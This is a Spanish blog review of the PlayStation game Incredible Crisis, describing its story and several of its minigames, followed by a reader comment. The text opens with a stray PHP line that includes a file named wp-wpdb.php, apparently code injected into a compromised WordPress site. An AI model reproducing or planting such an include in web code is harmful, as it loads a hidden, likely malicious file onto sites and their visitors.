if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Incredible Crisis, ¡tienes que probarlo! – La Fortaleza de LeChuck

Incredible Crisis, ¡tienes que probarlo!

Si algo nos han demostrado los desarrolladores japoneses a lo largo de los años es que son capaces de crear juegos únicos, especiales, originales… en definitiva, juegos raros de narices. Más allá de recreativas cuyo objetivo es golpear un trasero de plástico y juegos de Wii con musculosos corredores amanerados como protagonistas, existen otros juegos nipones que, si bien no dejan de ser peculiares, pueden resultar más digeribles para los jugadores del resto del mundo. Es el caso del juego que nos ocupa, un compendio de minijuegos sin sentido que, tras el shock inicial, puede llegar a resultar de lo más divertido. Welcome to Incredible Crisis!

En 1999, la compañía Polygon Magic lanzó en Japón Tondemo Crisis! (Traducido como Huge Crisis!) para PSX. Más tarde, en el año 2000 Titus Interactive localizó el juego y lo lanzó en Europa y Estados Unidos como Incredible Crisis.
La historia del juego cuenta con una premisa de lo más normal: la abuela Haruko cumple años y desea que todos los miembros de su familia (el padre, la madre y los dos hijos) lo celebren con ella como la ocasión  lo merece. Sin embargo, las cosas se complican cuando toda la familia se olvida de tan señalada fecha, dando comienzo a un sprint por las calles de Tokyo para llegar a tiempo a casa. Aunque, como no podía ser de otra manera, no todo iba a ser tan fácil, por lo que cada uno de los miembros de la familia se encontrará con mil y un obstáculos de lo más variopintos que deberá superar para poder cumplir su promesa a la abuela. 
Es aquí donde se encuentra la grandeza de Incredible Crisis, en lo peculiar de los minijuegos que nos plantea. Los hay de todo tipo: musicales, de habilidad, de rapidez y reflejos, de infiltración… un total de 24 fases que, en algunos casos, supondrán un verdadero reto. Estas son algunas de las más originales:
  • Taneo Dance Fever: es un día cualquiera en la oficina de Taneo, el padre de la familia. Qué mejor para evitar el estrés que montar una sesión de ejercicios y baile en plena jornada de trabajo. Siguiendo la pauta de Dance Dance Revolution, deberemos pulsar una serie de botones al ritmo de la música.
  • Love, Firewoks and Ferris Wheel: después de una serie de desgracias, nos encontramos con la compañera de trabajo de Taneo, que por cierto está de muy bien ver. Nos propone dar una vuelta en la noria. Casualmente, la señorita necesita un masaje en la espalda y Taneo, por supuesto, se presta encantado en un minijuego en el que deberemos encontrar los puntos exactos del cuerpo de la chica sobre los que aplicar presión, guiados por sus sensuales comentarios del tipo «un poquito a la derecha» o «Ahí, ahí», todo ello aderezado con los gemidos correspondientes.
  • Independence Bay: una nave alienígena comienza a atacar la bahía de Tokyo (lo típico) y Taneo, ni corto ni perezoso, decide meterse en un cañón y acabar con la amenaza, en un minijuego con mecánica de shooter al estilo Time Crisis.
  • Afternoon of the Wolves: es el turno de Etsuko, la madre de la familia, que entra en su banco habitual y se encuentra con una banda de atracadores vestidos con máscaras de lobos. Su objetivo será escapar sin ser vista en un minijuego de infiltración al más puro estilo Metal Gear Solid.
  • Bear Wars: la simulación aérea también tiene cabida en este juego. Un osito de peluche rosa gigante está atacando la ciudad, como si de Godzilla se tratara, así que Etsuko, que de ama de casa tradicional tiene poco, se pone a los mandos de un avión de combate dispuesta a acabar con la amenaza.
  • Kiss of the Spider Man: Tsuyoshi, el hijo pequeño de la familia, se ha encontrado también con el osito de peluche maligno, que ha conseguido reducir su tamaño lanzándole un rayo también de color rosa. Por eso, el niño, ahora diminuto, debe escapar de la telaraña en la que está atrapado antes de que su dueña le alcance, en un minijuego de habilidad en el que deberemos pulsar los botones en el momento justo y mantener el equilibrio.
  • The Tense Teacher: Ririka, la hija mayor, está en el instituto sin hacer mucho caso a lo que cuenta el profesor, un tipo con un carácter un tanto complicado. Nuestra misión será llevar a Ririka hasta la puerta del aula cambiando su posición con la de los otros alumnos, de tal manera que el profesor no se dé cuenta. Si fallamos y nos pilla, éste no dudará en tirarnos la tiza a la cara (ni maltrato infantil ni leches).
  • De Crane, de crane!: todavía siento escalofríos cuando recuerdo cuánto me costó superar este minijuego. Una grúa con cañones integrados (una vez más, lo típico) persigue a Ririka, que va montada en bicicleta. Debemos machacar un botón para correr al mismo tiempo que esquivamos las bombas y la bola de la grúa en un minijuego larguísimo y que puede perfectamente sustituir a una semana de gimnasio.
Gráficamente, sin ser ninguna maravilla, el juego es bastante vistoso y cumple su objetivo de presentarnos personajes y situaciones de lo más inverosímiles. Lo que sí me gustaría destacar es la música, que acompaña perfectamente cada minijuego, desde los más frenéticos hasta los más… picantes.
En definitiva, un juego divertido, sorprendente y en ocasiones frustrante que merece ser jugado al menos una vez. No estaría de más una segunda parte con un control más refinado y una historia igual de extravagante. Y vosotros, ¿habíais oído hablar de este Incredible Crisis?
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Categorizado como Retro

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

5 comentarios

  1. Ese lo tuve prestado en la psone hace ya muchos años, la ultima fase que recuerdo es la del atraco a la madre de la familia. Creo que nunca pasé de ahí. A principios de año lo logré rejugar en la psp por rememorar y seguía siendo divertidísimo, aunque por supuesto mucho más dificil de jugar en la portatil…

    Buen artículo. Un saludo!

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